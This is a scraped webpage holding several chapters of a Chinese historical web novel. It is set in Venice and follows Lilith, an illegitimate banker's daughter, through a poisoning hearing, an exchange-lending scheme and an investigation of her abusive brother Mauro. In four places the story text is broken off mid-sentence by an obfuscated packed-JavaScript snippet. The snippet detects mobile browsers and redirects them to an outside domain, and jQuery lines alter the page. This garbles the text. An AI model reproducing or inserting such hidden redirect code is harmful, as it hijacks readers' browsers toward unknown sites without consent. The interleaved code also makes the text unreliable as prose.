“是。原本我以为事情已经结束,也不打算再追究,所以在葬礼结束后去拜访了丹多洛家的千金索菲亚·埃斯特。入夜后,玛丽亚专程到了索菲亚家来见我。她当面感谢了我在葬礼上出言相助,并将这盒杏仁脆饼送给我作为礼物。” “玛丽亚,确有其事吗?”马西莫问道。 “是,是的,我确实送了食盒……”玛丽亚脸色铁青,额上划过一道豆大的汗珠。 “玛丽亚离开后,我的兔子误食了这盒子里的脆饼,然后就当着我的面猝死了。我请来医生查看才知道,这些脆饼的原材料就是有毒的苦杏仁。” “这么说来,要不是这脆饼先毒死了兔子,那岂不是要毒杀莉莉安娜!?”弗朗西斯科吊儿郎当地啧着嘴巴评论道。 莉莉斯将怀里兔子的尸体放在长辈们面前的桌子上,那颗死不瞑目的眼睛里好似还带着惊恐的神色。紧接着她又将似刀刃般锐利的目光对准了玛丽亚。 “玛丽亚,我和你无冤无仇,我不相信是你蓄意谋害。你实话实说,是不是毛罗因为恨我当众让他丢脸,气急败坏之下指使你下毒害我?” “莉莉安娜,你这是血口喷人!”毛罗冲着莉莉斯大喊道。 “闭嘴!我没有在问你。”莉莉斯朝毛罗厉声喝道,又转而用平静温柔的嗓音对玛丽亚说,“玛丽亚,我知道你是被迫的。这一定不是你的本意。只要你说出事情的真相,大家一定会为你做主。” 玛丽亚惊恐地睁大眼睛不敢说话。突然,莉莉斯冲上前去扒开了她的袖管,露出玛丽亚胳膊上一道一道刺目的血痕。 “我就知道。他在外面都敢这样对你,在家中更不会放过你。你为什么还要为一个这样丧心病狂的疯子包庇呢?如果做实了他蓄意杀人,按照共和国的法律他将被开除教籍、驱逐出境,永不能回威尼斯。那么以后就再也没有人这样殴打你了。” “莉莉安娜,我看你是真活腻了。我在家里关起门来怎么管教我的老婆都是天经地义!留点痕怎么了,不够疼哪能记得住教训。你还敢把我驱逐出境?我看你他妈的就是没记住以前的教训,当初就不该——” “肃静!”马西莫朝着毛罗大喊,他才终于安静下来。 “玛丽亚,如果你有什么想要澄清,现在可以告诉我们。”布鲁诺的声音又低又冷,比起陈述更像是威胁。 整座房间的眼睛都盯在这个被殴打得全身是伤的瘦弱女人的身上,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973635|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有的人眼中还有一丝谨慎的怜悯,而另一些人则各自心怀鬼胎。玛丽亚看了看莉莉斯,又看了看三位长辈,最后低下头看了看自己的肚子,突然跪倒在地上。 “是我……是我不小心搞错了甜杏仁和苦杏仁。莉莉安娜,对不起,我真的不是蓄意害你,都是我粗心大意造成的……” “怎么可能?那你家里为什么会有苦杏仁……” “苦杏仁有微毒,稍微吃一点是没事的。毛罗他喜欢吃杏仁膏,按照传统的做法,就是需要加一定比例的苦杏仁来调和味道……只是我晚上手忙脚乱的,搞错了甜杏仁和苦杏仁的比例……” 玛丽亚满脸都是眼泪,楚楚可怜地向众人辩解,反倒显得莉莉斯在咄咄逼人了。 “也就是说,这些苦杏仁其实是吃不死人的!”布鲁诺从旁附议到。 “那你怎么解释其中添加的苦杏仁油?难道做甜品还需要加高浓度的毒油来调配口味吗?”莉莉斯焦急地质问道。 “不是的。我没有加这样的东西。我从未听说过什么苦杏仁油。” “那按照你的说法,苦杏仁只有微毒,这脆饼里的苦杏仁这么少,吃一块两块也死不掉。你敢当着众人的面吃一口吗?” “若不是我怀着克纳罗家的子嗣,我现在一定吃给你看来证明我的清白。可我不知道你是不是故意拿了什么下过毒的东西要来诬陷我,说是我在其中加了毒药,为了保护我的孩子,恕我不能接受!” “到底是后来加的毒药,还是烘焙之前已经下毒,医生都可以证明……” “你怀孕了?”马西莫直接忽略了莉莉斯的异议,问向玛丽亚道。 “是的,已经三个月了,是我和毛罗的第一个孩子。”玛丽亚微笑着回应,仿佛一想到孩子便感到幸福洋溢了起来,“这次的事情确实是我粗心大意犯的错,和毛罗一点关系都没有。我既然要感谢莉莉安娜,她与毛罗本就不和,我又怎么会让毛罗知道这件事呢?这都是我一个人的过错,如果要惩罚请都冲着我来吧!” “你都怀孕了,还能怎么罚你呢。”弗朗西斯科不知不觉间又把腿翘得老高,津津有味地欣赏着这出戏的走向突然逆转。 “就算毛罗以前做错过些什么,也请各位长辈看在孩子的份上,宽恕他一回吧。孩子不能没有父亲,就像妻子不能没有丈夫……” “好了。不必再说了。”马西莫挪了挪大腹便便的身体,打了个哈欠,“我已经知道事情是怎么回事了。你将有毒的食物给了莉莉安娜,虽然量不足以毒死人,但也确实是你的过错。看在你怀着孩子的份上,惩罚不宜过重,停毛罗家三个月的月金以示惩戒。” “就只是这样……?”莉莉斯难以置信地望着马西莫。 “你毕竟没有受到任何实质性的伤害,只是死了只兔子而已。”布鲁诺皱着眉头看向他的私生女,尖酸刻薄地评价道,“本来要给你带去施密德尔家的嫁妆都还在你的手上,你现在可有钱得很吧。玛丽亚说得没错,妻子不能没了丈夫。等丧期过了,也是时候再给你安排一门亲事把你嫁出去了。” “你休想!”莉莉斯像是被戳到痛处一般歇斯底里地大喊。 “好了,都散了吧。”马西莫站起身,在仆从的簇拥下离开了。 11. 疼痛的镇定剂 从克纳罗主家宫殿回索菲亚家的小船上,莉莉斯只是静静地坐在船头,沉默不语。夜里的海风微凉,海因里希主动脱下自己的披风盖在莉莉斯身上为她抵御寒冷。 他看着莉莉斯的红发在夜风中摇曳,不禁想起了与她初见时的场景。当时的莉莉斯如鬼魅一般笑着,随意几句话便决定着对奴隶的生杀大权,仿佛一个掌控一切的女王。而此时这个被亲兄弟下毒却求助无门的的莉莉斯却好像和从前不大一样了。 对于她来说,家庭似乎从来都不是温暖的保护伞,而是利用她、盘剥她的工具;婚烟更不是幸福美满的爱情修成正果的结晶,而是牢笼,是流放,是嗜虐与暴力的遮羞布。在这样的环境下,没有人值得信任,没有人能帮她,她只能靠她自己。 上岸后塞西莉娅陪着莉莉斯回客房准备就寝,海因里希则在索菲亚家仆的安排下住进了佣人住的寝室。正当他洗漱完毕打算睡下的时候,塞西莉娅推开他的房门,冷言冷语道: “夫人让你过去。” 海因里希感到意外。莉莉斯总是让塞西莉娅陪侍她休息,从来没有在睡前让自己过去过。难道有什么事是他做的了,塞西莉娅却做不了的吗?当然,她买下的奴隶,想要怎么使用海因里希都只能悉听尊便。于是他重新换上外衣,敲响莉莉斯卧室的房门。 “进来。” 海因里希推门进去,看见莉莉斯穿着黑色的真丝睡裙,裹着被子半躺在床上。有一盘樱桃奶冻放在她的床头柜上,旁边的餐布上摆了两个银勺子。 “你先吃一口。”莉莉斯命令道。 海因里希意识到自己被叫来的原因——当试毒犬。毕竟塞西莉娅作为莉莉斯的心腹,要是被毒了她可得心疼老半天。而宠物狗被毒死了,大不了也就像那只兔子一样,再买只新的就可以了。 他挖了一勺奶冻放进自己嘴里。奶香浓郁,樱桃微甜,没有任何异味。于是他换上干净的勺子,又挖了一口,喂到莉莉斯的嘴边。他的女主人眨了眨眼,张开嘴将奶冻含进嘴里。 “您感觉好些了吗?”等她将一整个奶冻都吃完了,海因里希把餐具收起来,温柔地问道。 “没有。” “我要怎样可以帮到您呢?” “你之前说的,嗯,你还愿意吗?” 莉莉斯有些不好意思地指了指海因里希的皮带,他立刻领会到她的意思。原来除了试毒以外,还有一项工作也是塞西莉娅做不了的——平白无故遭受女主人的鞭打。 “当然。”海因里希解下皮带,再一次递给到莉莉斯的手中。 “转过去,背对我,跪下来。” 莉莉斯将略长的皮带弯折两次后握在手里,狠狠地打在海因里希的背上,发出一声闷响。 “疼吗……?”莉莉斯有些犹豫。 “不疼。”海因里希觉得有些好笑,不仅是不疼,而且由于莉莉斯发力方式不对的缘故,皮带落在他身上没有一点劲,简直像是在挠痒痒。 况且莉莉斯的两支手臂加起来也才有海因里希的一支手臂那么粗,皮带的受力面较宽,他还穿着一层外衣,所以即使她用尽全力,也很难把他真的打疼。 “疼的话告诉我,我会停下来的。” 莉莉斯再次抽起皮带猛挥了几下,这回海因里希终于感受到了一丝细微的疼痛。他回过头,才发现莉莉斯已经气喘吁吁地倒在枕头上休息。 脾气挺大,力气倒是一点没有。海因里希差点没忍住笑出了声,只好赶紧转过身去,为莉莉斯到了一杯水递给到她手中。 “现在心情好些了吗?” “如果靠揍你就可以解决问题,我早就……唉,算了。谢谢你。” “职责所在。”海因里希从莉莉斯手里拿回皮带重新系上,“我能为您做的也不止这些。毛罗的事,如果您想的话……” “按照他现在的身份若是不明不白的死了,那群克纳罗一定会调遣执法官彻查到底,就算实在查不出什么,也有一万种方法把黑锅扣到我的头上。”莉莉斯恶狠狠地攥紧柔软的羽绒被,“我现在的当务之急甚至不是向他复仇,而是保全自己。我就知道他们一定不会放过我的。上一任丈夫才死了一个多月,立马就恨不得再把我嫁出去。这回又想把我嫁到哪儿?巴黎?布鲁日?还是伦敦?我绝对不能让他们得逞。莉莉安娜哪里也不去,就要留在威尼斯。” “您打算怎么做?” “我要加入汇兑商行会,正式开业我自己的银行,那样的话我的身份就再也不只是克纳罗家的私生女或是施密德尔家的未婚妻,而是‘放贷的莉莉斯’。莉莉斯不是伊甸园的子民,也不是亚当的附庸。她是一个自由的人。” “汇兑商行会是?” 海因里希对她的话并不意外。从莉莉斯目前信贷事业的经营规模和资金量来说,早就足以经营一家小型银行了。她有能力也有资本配得上她的野心。 “是一种半官方性质的工会,对成员实施担保与监管。只有成功加入行会才能获得许可证,拥有合法经营的权利。哪怕我知道他们几乎不可能会给一个女人颁布许可证,我也必须要试一试……” “回去之后,我会和夏洛克一起全力以赴地准备您需要的送审资料。”海因里希坐在床沿上,为莉莉斯揉了揉刚才挥鞭打他的手臂,“至于毛罗的事,只要您首肯,我愿意在基础工作之外额外花时间为您去收集他的罪证。他这样品行的人,坏事做多了,总会留下些什么痕迹的。” “好。我批准了。”莉莉斯突然伸出手指戳了戳海因里希眉骨上的疤痕,“注意安全。” “还有一件事我需要您答应我。”海因里希掀开被子的一角,将莉莉斯的手臂重新塞回被子里,“今晚好好休息,不要再难过了。” “……”莉莉斯沉默地看向他,良久才终于开口,“谢谢你,海因里希,晚安。” 城市的另一边,毛罗家中。 “啪!”一记响亮的巴掌落在玛丽亚的脸上。即使怀了孩子打不了身体,起码也还可以打脸,毕竟只攻击头部总不至于把孩子打没了。 “没用的东西!”毛罗愤怒地骂到,“你不会看着她吃下去再走吗!她居然还敢攀咬到我身上来!” 玛丽亚捂着滚烫的脸颊坐倒在地上,两行眼泪顺着眼角向下滑。 “现在好了。罚了我三个月的生活费,我下个月欠的钱拿什么去还?” 毛罗突然注意到玛丽亚手腕上的一只金镯子,猛地捏住了她的胳膊。 “这是我母亲留给我的最后一件嫁妆了……” 毛罗毫不留情地将镯子扒了下来掂量着重量:“要不是你失手,我会缺这点钱吗?你有没有看到莉莉安娜手上戴的戒指,还有那几个新买的走狗?一个女奴生出来的杂种,过得比我这个嫡子还要优越, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973636|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这简直是到反天罡!” “我听说她在靠放贷赚钱……” “这种话你也信?她一个女人,哪有本事张罗得了这种活儿?要我说,她跟她那个不三不四的娘就是同样的下贱货色。只不过她靠着克纳罗家的名声踏进了上流社会,更方便她向腰缠万贯的恩客岔开腿罢了!” “这怎么可能呢……她好歹也是克纳罗家的女儿……” “怎么没可能?她丈夫才刚死没多久,她立刻就去买了个小白脸,这不正是她生性□□的铁证吗?克纳罗家族的门楣都要为她而蒙羞!等着,等我抓到了她的把柄,就算弄不死她,也得将她逐出威尼斯,不然要是老头子心软了,本属于我的遗产可就打水漂了!我这可都是为了咱们儿子考虑啊……” 玛丽亚又一次低下头,轻轻抚摸着自己的小腹,感受着一个新生命在自己的身体中孕育,感受着她与丈夫,与这个家族,与这个世界最深刻的连结。 周末,莉莉斯在索菲亚的家里继续休整了两天,还在好友热情的坚持下重新量体裁了几身新衣服。按照莉莉斯的要求,清一色的全部是不同款式、不同材质的黑裙子,几乎像是把丧服焊在自己身上作为一种特殊的保护色。 海因里希和塞西莉娅也各自得了两套新衣。特别是海因里希——尤为擅长男装剪裁的设计师为他专门量身定制的衬衣和外套,衬得他身材更显挺拔高挑。他突然反应过来,自己刚刚到莉莉斯家里的时候,她就已经备好了一些做工极好的成年男装。海因里希有些好奇地询问那些衣服的来源与目的。 “是我自己做的,给我丈夫准备的衣服。”莉莉斯面无表情地瞥了一眼穿着新衣服的海因里希,“一年前就已经定下了婚约,最开始我也没想好要他去死。但是在亲眼目睹了我身边大大小小的婚姻故事之后,我决定不能让自己的命运被掌控在一个陌生男人的手里。” 海因里希感到五味杂陈。站在莉莉斯的角度,她的不安全感与自保行为似乎顺理成章。可是如果她当初没有选择那么做,如果仍然是施密德尔家少爷的海因里希了解到了莉莉斯在克纳罗家所经历的一切,了解到了她在威尼斯悉心经营的事业,了解到她所遭受的这些苦楚,他绝对会运用他所能拥有的一切金钱、权力与资源去帮助她,保护她,为她扫清一切障碍与烦恼,而不是像现在这样,只能以一个卑微奴隶的身份陪在她身边。 不过他还是没有办法原谅她。尽管他意识到自己心中对莉莉斯产生了一些多余的情感,但他仍然清晰地记得莉莉斯胸口那一颗被她所处的环境所浸泡得沁进了毒液的心。 威尼斯就像其赖以生存的泻湖一样,海水为它带来了通商的机遇与金钱,也滋养着欲望的膨胀和致命的瘟疫。莉莉斯生活在这样的大染缸里,终究是没有办法幸免。 周日晚上,莉莉斯在两位仆从的陪伴下坐船回到她居住的小楼。塔塔迫不及待地等在门口向她报告了两个消息,一个坏消息和一个好消息。 “那位给出杏仁脆饼化验结果的医生死了。” “意料之中,毛罗不可能放过他的。”莉莉斯叹了口气,“好消息是什么?” “埃莱娜小姐要从佛罗伦萨回威尼斯了!” “哦!太好了!”莉莉斯激动地握住海因里希的手,兴奋地在原地转了个小圈,露出一个无比灿烂的笑容。海因里希欣慰地看着她。她好久没有这么开心地笑过了。 12. 汇兑的秘密花园 意大利春日午后的阳光温柔地洒在小花园中郁郁葱葱的草地上,黄白相间的小雏菊在微咸的海风中跳舞。莉莉斯和几位年纪相仿的贵族小姐一起相聚在其中一位贵妇人家别墅背后的秘密花园。她们惬意地坐在野餐布上享受阳光,一边品尝葡萄酒和各色甜点一边闲话家常。 只不过对于莉莉斯来说,这样的场合从来都不仅仅是与好友消磨时光的娱乐活动,也是商机涌现的生意场。 “我家里和我关系最好的亲戚埃莱娜阿姨要从佛罗伦萨回来了~赶着要回来参加复活节和圣马可节的祭典。” 莉莉斯穿着一身轻薄的黑色纱裙,头饰上的黑纱固定在高高挽起的盘发上,随着微风轻柔地飘。几个修道院学校时期认识的贵族少女围在她身边。她们普遍比莉莉斯年纪小一些,穿着五彩缤纷的衣服,仿佛春日盛开的花朵般明媚娇艳。 海因里希远远地站在花园的角落里陪侍他的女主人。今天上午他在夏洛克的安排下算了一上午的账本,费了好大劲才终于将账目两边成功配平。下午能够陪着莉莉斯一起出门晒太阳,倒也算是一种放松休息了。 莉莉斯总是在提起埃莱娜时便眼睛放光。如果说索菲亚是她最好的朋友兼最大的客户,埃莱娜姑姑就是她最敬重的长辈与最信任的合伙人,也是她在佛罗伦萨的汇兑交易代理人。 “是那位十四岁就参加了商船护卫队的航海家女士吗?” “还是那位在佛罗伦萨经营丝绸和羊毛生意的克纳罗家女商人?” “是的是的,埃莱娜姑姑特别厉害。”莉莉斯一边说着,一边咬了一小口手中的黄油曲奇饼干,“我小时候就希望能够成为像她那样厉害的人。真不知道佛罗伦萨是什么样的,我还从来没有去过呢。” “我下周要和丈夫一起去佛罗伦萨省亲。”一位穿着明黄色连衣裙的年轻贵妇人向大家分享到,“我也从来没去过,听说是一座很有魅力的城市。” “那里盛产羊毛呢料和皮具,我听说最近时兴着一种最新款的羊毛料,非常轻便透气,最适合春秋季节穿。”莉莉斯嗅到了商机,兴致勃勃地开始介绍,“不过那边用的货币是弗洛林,商家都只认印着鸢尾花的金币,不收咱们的圣马可像。” “那要怎么办?可以带着杜卡特去到之后再兑换弗洛林吗?”黄裙子的女孩不解地问。 “当然可以,只是这么做的话你起码得雇佣五个胡子拉碴的侍卫,还得一个个全部配备上德意志最新研发的火铳和板甲才行。”莉莉斯笑着提议道,“不过,其实我可以帮你解决这个难题。只要我给你写一封介绍信,你拿着信到佛罗伦萨去找到埃莱娜小姐的办事处,她们就会直接把漂亮干净的鸢尾花金币交到你的手中。” “真的吗?”黄裙的女孩惊讶地睁大了眼睛。 “当然是真的。大家都是朋友,举手之劳而已。”莉莉斯甜甜地笑着,“等你旅行回来之后,直接在威尼斯还给我杜卡特就行了。” “好啊,这也太方便啦!” 黄裙子的女孩露出欣喜的笑容。另外几个年纪更小的女孩子似懂非懂地面面相觑,逐渐岔开了别的话题。莉莉斯突然对着海因里希眨了眨眼,投去一道意味深长的目光。 等聚会结束的时候,莉莉斯笑着将海因里希代笔拟好的介绍信交给了穿黄裙的女孩子,信上明确写了在佛罗伦萨兑换的弗洛林数额为100,签发日期为3月20日,兑现日期为4月1日,还款日期则是兑付后一个月的5月1日,还款汇率为1弗洛林=1.1杜卡特。 也就是说,莉莉丝的新客户将会在10天后到达佛罗伦萨并直接提取100弗洛林,然后在一个月回到威尼斯,还给莉莉斯总计 110杜卡特。 这个汇率当然是莉莉斯调整后的结果——根据塔塔传来的最新市场资料,威尼斯里亚尔托大桥货币兑换集市上杜卡特现钞的价格其实略高于弗洛林,大概是1杜卡特兑1.2弗洛林。如果按照这个汇率结算,莉莉斯出借100弗洛林,其实理应只能收到83杜卡特的还款。而这多出来的27杜卡特,囊括了转账服务费、实时汇率风险与借款利息。这一系列操作的本质,就是在用汇差替代利差,以汇兑的名义实施信贷,顺利规避教会法对于“不能收利息”的要求。 当然了,手握重金的贵族小姐也不是傻子。双方之所以能够对这个汇率达成妥协,一方面有莉莉斯付出的人工成本的缘故,另一方面也是因为弗洛林是佛罗伦萨的流通货币,在当地更加值钱,汇率本身也会与威尼斯有所不同。再加上商品价格的变动总是风云莫测,提前订好一个偏高的汇率对双方也都是一重保险。 这一套操作不是莉莉斯的独创,相反,是意大利北部几乎所有大银行都在做的事。长期往返于两地的商人基数庞大,所产生的汇兑与贷款需求也相应的水涨船高。借给贵族小姐旅游开销只是一笔头进行的小生意,但如果能与大行商建立长期信任的合作关系,那莉莉斯的信贷业务将长期、稳定地涌入源源不断的资金。 而这一切,都需要建立在获得了汇兑商行会经营许可证的情况下才能进行。 克纳罗家和莉莉斯本就关系尴尬,自然不可能出面帮她。更何况银行这种在教会法约束下带有灰色地带意味的汇兑交易总会被人冠上“放贷者”的罪名,实在算不上是一件多么光彩的事。这也是为什么除了亲自培养的奴隶与沾亲带故的犹太会计师以外,她没法找,也根本找不到人可以为她工作。 正因如此,海因里希不得不身兼数职。上午紧锣密鼓地准备送审需要的账目资料,下午陪着她完成一笔新的汇兑交易,紧接着又马不停蹄地回家,披上一身二手市场买来的旧斗篷,将梳理得过分整齐的金发抓乱,从不起眼的后门离开,混入进大街上来来往往的人群。 调查毛罗虽然是一份额外的工作,但也为海因里希换来了自由行动不受塞西莉亚监视的特权。他作为一个五大三粗的德国男人,比一般的意大利男性平均身高还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973637|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要高些,实在不适合做跟踪、盯梢一类的活儿。但是不要紧,他自然能找到在这方面比他做得更好的人。 莉莉斯给了海因里希一个杜卡特的调查经费。他一下子不至于用掉这么多钱,于是找塞西莉亚把金币换成六十枚格罗索银币,又找街头的小汇兑商用格罗索换了一些面值更小的苏尔迪银币,还从家中厨房问伊万卡拿了一些莉莉斯不爱吃准备丢掉的糖果和甜品。 在威尼斯城中生活了一周左右,海因里希算是把市中心上流阶级社区的街街巷巷摸了个清楚。在一个空旷的小广场上,他找到几个正在街道上闲逛的流浪小孩。这些孩子往往和家人一起住在贫民窟里,闲来便跑到富人住的街区乞讨或是做些跑腿的工作,找不到时就在街头巷尾到处游荡。 再没有什么人比这些街景的天然组成部分更适合跟踪了。海因里希给他们一人塞了几个苏尔迪和糖果,让孩子们帮他留意毛罗的动作。打点完了,他立刻离开了广场,转道向里亚尔托大桥附近的德意志商行会走去。 傍晚的商行已经打烊,但行商们总喜欢聚集在街道附近的巴伐利亚式酒馆中喝酒、聊天、玩纸牌、掷骰子。这里甚至还未客居异国他乡的商人们提供各种千奇百怪的“便民”服务,例如比官方邮政渠道更快捷的送信,意大利语和德语的文件翻译,甚至还有提供德语服务的妓女。 海因里希用几个苏尔迪买了一杯黑麦生啤,静静地坐在角落里旁听着商人们的聊天。他还记得自己当初接亲时肩负的家族任务,尽管那或许再也没有办法被实现了——与克纳罗家族形成商业联盟。施密德尔家族负责生产上好的精铁、板甲、刀剑与火铳,而克纳罗家族在威尼斯为他们的商品打开商路,将这些武器销售给远洋航行的商船、意大利北部的雇佣军队或是威尼斯东部的造船厂。 在此之前,施密德尔家在威尼斯没有自己的专属经销商,只能将商品低价转卖给旅行商人,再由他们小批量地转卖到其他地区。但如果能打通一整条销售链,去除了中间商赚差价的部分,对施密德尔家族而言利润将会大大增加。 可是由于海因里希的“死亡”,商业契约的洽谈不尴不尬地停滞了。市场迅速被抢占。根据商行中人们的讨论,可以得知现在威尼斯城中的钢铁贸易几乎是富格尔家族一家独大的局面。他们为了打开海上商路,不惜将幼子送到威尼斯的商行里当学徒以学习最先进的会计理论,再借机打入当地市场。 从这个角度来看,海因里希的工作经历放到别的德国商人眼中倒成了难能可贵的进修课程。如果他能够在这段时间之内熟练掌握各种金融工具的运用,成功为家族的商品打开销路,那他这一趟忍辱负重的经历倒也算不上一无所获了。 通过酒馆的邮寄渠道,他向弟弟威廉再次寄出一封信件。在等到施密德尔家的回信之前,他先等到了孩子们所收集到的毛罗一周行程的信息。结果令他大跌眼镜。在采取进一步调查之前,他有必要向莉莉斯汇报他的发现。 13. 莉莉斯的换装游戏 “怎么能让夫人穿这么不得体的衣服!”塞西莉娅扶额叹息。 站在她面前的莉莉斯正穿着一套海因里希从跳蚤市场上买来的旧男装。黑色的衬衫已经被洗得有些泛白,灯笼裤的裤腿上还破了个无伤大雅的小洞。整套衣服里只有那一双小马靴是新的。莉莉斯在意大利的贵妇人中本就算是偏高挑的身材,穿上那双带跟的马靴后与街上的男性平均身高更是相差无几。等把一头长发束起来,再披上斗篷掩饰面容,便没有人能发现这其实是一位女士了。 莉莉斯对自己这身打扮倒还算满意。她正站在镜子前兴致勃勃地打量着这个不同寻常的自己。塞西莉娅见女主人不给自己帮腔,只好用充满怨念的目光瞪向同样衣衫褴褛的海因里希。 “其实偶尔穿一次破衣烂衫也没什么。”莉莉斯笑着对她说,“今天上午穿着那么正式的礼服去汇兑商行会,不也还是没办法得到他们的尊重吗?如果说换上这套衣服就能拿到经营许可,我恨不得现在就把它就焊在身上了。” 塞西莉娅哑口无言。今天上午她陪着莉莉斯前往商行,带上了所有注册需要的账目资料,重金贿赂得来的三封会员推荐信,还有应急备用款和注册资本金。着装方面,莉莉斯搬出了自己最隆重的行头——一身厚重的黑色绸缎长裙,未婚夫送给她的祖母绿项链和红宝石婚戒。然而,商行前台的管事却只当作她是来寻找丈夫的商人之妻。 “我不是来找丈夫的。我是来递交行会入会申请的。”莉莉斯把文件和一袋沉重的金币放在柜台上。 管事的男人不当回事地瞥了她一眼,咕哝道:“让申请人自己过来。” “我就是申请人。”莉莉斯抬起头,努力地摆出一副商人的架子,“我的名字是莉莉安娜·克纳罗。我来申请开设自己的银行。” “女人?女人不能开银行。” “没有任何一条法律规定女人不能开银行。” “没有人会放心把钱存在女人开的银行里。”男人不耐烦地解释道,“你不会有客户。” “我有客户。女人也会有存款与汇兑的需求,这就是我正在做的事。”莉莉斯有些焦急地从牛皮纸袋里掏出夏洛克与海因里希提前准备好的账目表,“这是我去年一年的资产负债表……” “……你的丈夫允许了吗?”男人满腹狐疑地看着羊皮纸上清晰明了的账目。 “我的丈夫去世了。”莉莉斯顿了顿,补充道,“他在世时和我感情特别好,总是支持我的所有决定。” “……“男人仍旧持怀疑态度,但是看着那袋子金币却又实在不好说些什么,只好先收下文件和注册所需费用,通知她七日后来听取申请结果。 莉莉斯心中隐约浮现出不好的预感。但是没办法,她只能有些失落地回到家,在办公桌前看着备份账目发呆。突然,海因里希敲响了她的房门,给她带来一个足以令她重新打起精神来的消息。 “我获取了毛罗这一周去过的所有地方的信息。”海因里希将一张他整理好的表单递给莉莉斯,“过去七天里,他一共去了四次赌场,三次妓院,还有一处里亚尔托大桥附近,卡兰帕尼路上的的民宅。因为涉及到一些敏感的场所,我没有继续调查,等待您的进一步指示。” “我父亲就是在赌场里认识了我的母亲。”莉莉斯笑着翻了个白眼,“他倒是子承父业了啊。怎么样,赌债欠得多吗?” “我能查到的,目前有一百杜卡特左右。” “肯定不止。”莉莉斯心满意足地靠在椅背上伸了个懒腰,“难怪当时说扣他月金的时候他在那儿无能狂怒呢,原来是欠了债的窟窿还不上,等着家里给的钱去还债啊。至于卡兰帕尼路的民宅……让我看看,哦吼吼,原来是交际花的小别墅呀。” “交际花?” “是的。这位女士据说是从巴黎远道而来的大美女呢。”莉莉斯愉快地站起身来,“你说,他先去了交际花的别墅,后面又连着去了三次妓院,是否是因为高级妓女拒绝了他的求爱,他只好转道去提供廉价服务的地方发泄欲望?让我们去会会这位美女姐姐,看看能挖到些什么有趣的故事。” “夫人……您去交际花那里……是否有些不妥?”塞西莉娅担忧地问。 “有什么不妥的呢。男人支付金钱获取皮肉服务,而我支付同样的金钱,却只需要她陪我说说话。这么划算的交易,我想她一定会应允的。” 拗不过她的女主人,塞西莉娅只好协助莉莉斯脱下过于正式的礼服,换上了一身简约大气的黑色便装长裙,由海因里希陪着她前往交际花的住所。 交际花住在最热闹的里亚尔托大桥附近,室内装潢如宫殿般奢华,正门的旋转楼梯口上悬挂着一幅知名画师为她绘制的肖像。画像中的她留着浅金色长发,穿着半透明的白色纱裙,尽显丰腴性感之美。 “太美了……” 莉莉斯情不自禁地感叹道,盯着这幅肖像画露出了十分艳羡的目光。海因里希看着凝视画像的莉莉斯,回想起了自己在初次收到未婚妻画像时的激动与喜悦。那是他见过最伟大的艺术品,没有任何其他画作能与之相媲美,因为画像中描绘的是他这辈子见过最美的女人。 尽管很多人或许并不会认同他的观点,因为威尼斯城中妇女崇尚的大多是如交际花这般成熟丰满、凹凸有致的身材,柔美的五官与浅金色的头发。为此她们不惜蒙住身体,将长发散开暴露在阳光下,只为了将棕色的头发晒成浅色。 而莉莉斯相比之下则显得有些过分单薄瘦削,还有一头遗传自母亲的显眼的红发,与上流社会的审美背道而驰。但海因里希从来不在乎这些世俗的条条框框。他从未见过任何人有莉莉斯那样一双顾盼生姿的眼睛,浅绿色的眸光中时不时折射出狡猾的坏点子,危险却又令人着迷。 他刚想将自己的心中所想告诉她,告诉她根本没有必要羡慕交际花之时,莉莉斯却露出了狡黠的笑容,先他一步开口感叹道: “等我以后有钱了,一定要请最有名的大画家给我画很多很多美男子的画像,客厅里挂一幅,卧室里挂一幅,餐厅里挂一幅,书房里也挂一幅。等工作累了就抬头看看画像,心情就好过来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973638|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 海因里希不知自己是该为她感到庆幸还是惋惜。没过多久,如画中所绘般美丽的交际花便在侍女的陪伴下来到会客厅。莉莉斯带来此行的礼物——一对成色上乘的珍珠耳环。而后便开门见山地谈起了此行的目的。 “你说毛罗?那个克纳罗家的毛头小子?恕我直言,他可真配不上他的家族名号。” 